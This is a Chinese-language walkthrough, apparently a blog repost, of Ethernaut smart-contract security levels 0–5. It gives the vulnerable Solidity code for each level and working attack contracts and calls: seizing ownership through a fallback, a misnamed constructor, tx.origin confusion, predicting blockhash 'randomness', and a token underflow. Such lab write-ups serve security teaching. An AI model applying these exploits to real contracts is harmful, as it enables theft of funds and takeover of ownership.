0.Hello Ethernaut?
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Instance {string public password;uint8 public infoNum = 42;string public theMethodName = 'The method name is method7123949.';bool private cleared = false;// constructorconstructor(string memory _password) public {password = _password;}function info() public pure returns (string memory) {return 'You will find what you need in info1().';}function info1() public pure returns (string memory) {return 'Try info2(), but with "hello" as a parameter.';}function info2(string memory param) public pure returns (string memory) {if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {return 'The property infoNum holds the number of the next info method to call.';}return 'Wrong parameter.';}function info42() public pure returns (string memory) {return 'theMethodName is the name of the next method.';}function method7123949() public pure returns (string memory) {return 'If you know the password, submit it to authenticate().';}function authenticate(string memory passkey) public {if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {cleared = true;}}function getCleared() public view returns (bool) {return cleared;}}
主要是了解使用方法和基本操作
await contract.info()// "You will find what you need in info1()."await contract.info1()// "Try info2(), but with "hello" as a parameter."await contract.info2('hello')// "The property infoNum holds the number of the next info method to call."await contract.infoNum()// 42await contract.info42()// "theMethodName is the name of the next method."await contract.theMethodName()// "The method name is method7123949."await contract.method7123949()// "If you know the password, submit it to authenticate()."await contract.password()// "ethernaut0"await contract.authenticate('ethernaut0')
1.Fallback?
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract Fallback {using SafeMath for uint256;mapping(address => uint) public contributions;address payable public owner;constructor() public {owner = msg.sender;contributions[msg.sender] = 1000 * (1 ether);}modifier onlyOwner {require(msg.sender == owner,"caller is not the owner");_;}function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}function getContribution() public view returns (uint) {return contributions[msg.sender];}function withdraw() public onlyOwner {owner.transfer(address(this).balance);}receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}}
注意两个部分
// 记录用户地址对合约的贡献量，当用户当前的贡献值大于 owner(定义为1000)，获得 owner权限function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}
// fallback函数，当使用 send() 方法发送数据给合约时总会调用该方法// 定义参考文章：https://me.tryblockchain.org/blockchain-solidity-fallback.htmlreceive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}
思路如下
攻击合约部署
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import "./debug.sol";contract Attack is Fallback {address payable addr = 0x67C2b4b52c4246BB32C200B475062e7882DB265D;Fallback att = Fallback(addr);function obtain_owner() public payable {payable(addr).send(msg.value);}}
调用 contribute方法发送 1 wei
使用 send() 方法发送 1 wei， 触发 fallback
调用后查看 owner权限，已经成功获取
最后调用 withdraw方法 完成关卡
2.Fallout?
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract Fallout {using SafeMath for uint256;mapping (address => uint) allocations;address payable public owner;/* constructor */function Fal1out() public payable {owner = msg.sender;allocations[owner] = msg.value;}modifier onlyOwner {require(msg.sender == owner,"caller is not the owner");_;}function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value);}function sendAllocation(address payable allocator) public {require(allocations[allocator] > 0);allocator.transfer(allocations[allocator]);}function collectAllocations() public onlyOwner {msg.sender.transfer(address(this).balance);}function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator];}}
我们可以注意到构造函数 Fallout 被写成了 Fal1out，导致该函数不是构造函数，可以直接调用获取 owner权限
调用方法即可获取权限
3.Coin Flip?
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;import '@openzeppelin/contracts/math/SafeMath.sol';contract CoinFlip {using SafeMath for uint256;uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;constructor() public {consecutiveWins = 0;}function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}}
这里通过计算上一区块的信息与一个固定的数值相计算，就不存在随机的情况了，除了第一次的上一区块随机，其他均为可知的值
直接使用原合约的计算方法，部署攻击合约
contract Attack {using SafeMath for uint256;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531;CoinFlip coin = CoinFlip(addr);function attack() public{uint256 blockValue = uint256(blockhash(block.number.sub(1)));uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;coin.flip(side);}}
调用10次完成关卡
通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).
4.Telephone?
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Telephone {address public owner;constructor() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}}
这里需要区分 tx.origin 和 msg.sender ，msg.sender是函数的直接调用方，
而 tx.origin 则必然是这个交易的原始发起方，无论中间有多少次合约内/跨合约函数调用，一定是账户地址而不是合约地址。
回到代码块中, 需要做到的是 tx.origin != msg.sender
function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
如上图，我们只需要部署一个第三方合约A调用目标合约B，就可以通过判断获取 owner权限
5.Token?
题目源码
// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Token {mapping(address => uint) balances;uint public totalSupply;constructor(uint _initialSupply) public {balances[msg.sender] = totalSupply = _initialSupply;}function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}function balanceOf(address _owner) public view returns (uint balance) {return balances[_owner];}}
根据题目提示我们默认含有20代币，注意一下 transfer方法
// 向某地址转移代币，且需要通过require的大于0的检测function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}
以太坊虚拟机（EVM）为整数指定固定大小的数据类型。这意味着一个整形变量只能表达一定范围的数字。
例如，uint8，只能存储[0,255]之间的数字，如果想存储256，那么就会上溢，从而将变量的值变为0。相对应的，如果从一个uint8类型的值为0的变量中减1，就会发生下溢，该变量会变成255。
所以我们需要通过下溢出来完成攻击
部署合约后可以看到默认20代币，产生下溢我们就可以向任意地址转移 21代币，发生下溢
Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:if(a + c > a) {a = a + c;}另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:a = a.add(c);如果有溢出, 代码会自动恢复.
关于文库?
https://www.yuque.com/peiqiwiki
最后
下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群加我拉你啦~
别忘了Github下载完给个小星星⭐
同时知识星球也开放运营啦，希望师傅们支持支持啦?
知识星球里会持续发布一些漏洞公开信息和技术文章~
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。
PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
原文始发于微信公众号（PeiQi文库）：区块链安全 – Ethernaut 0-5 (一)
